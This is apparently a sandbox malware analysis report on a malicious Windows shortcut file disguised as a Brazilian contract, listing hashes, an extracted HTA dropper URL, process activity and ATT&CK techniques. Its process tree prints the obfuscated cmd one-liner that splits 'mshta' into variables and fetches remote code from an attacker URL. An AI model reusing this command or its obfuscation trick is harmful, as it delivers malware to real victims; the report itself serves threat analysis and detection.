d68244df0f09a7a33760ff953a4a55e4a98b9d8ce89dfea2054bb09f81406725

Analysis

max time kernel
148s
max time network
160s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-CS08S3.lnk
Size 1KB
Sample260803-pycsmsxhmg
SHA256 d68244df0f09a7a33760ff953a4a55e4a98b9d8ce89dfea2054bb09f81406725
MD5 2d7b9a19faa48e91dcd95b98c57a392b
SHA1 1e563211c12f0157cb431cebdb306fa1cfd361d5
SHA512 4261a2e188ca468bf0590836b949e42c4c77477a63a82578f7d83b050b98ae0fe1f0ffcebe9a427a00d3d9f9c729f5e03a47a1340e66cf0d044cfe55dc302ad4
TLSH
T1F93197003EFD0614F2B79E768ABFAB1059BEF8968E61C61D4080464C1062E00EA7BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4544	mshta.exe
5	4544	mshta.exe
6	4544	mshta.exe
7	4544	mshta.exe
8	4544	mshta.exe
13	4544	mshta.exe
14	4544	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5088	cmd.exe
4100	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 4100	5088	cmd.exe	89
PID 4100 wrote to memory of 4544	4100	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-CS08S3.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5088
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set pOt=msh&&set AUcE=ta&&start "" !pOt!!AUcE! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads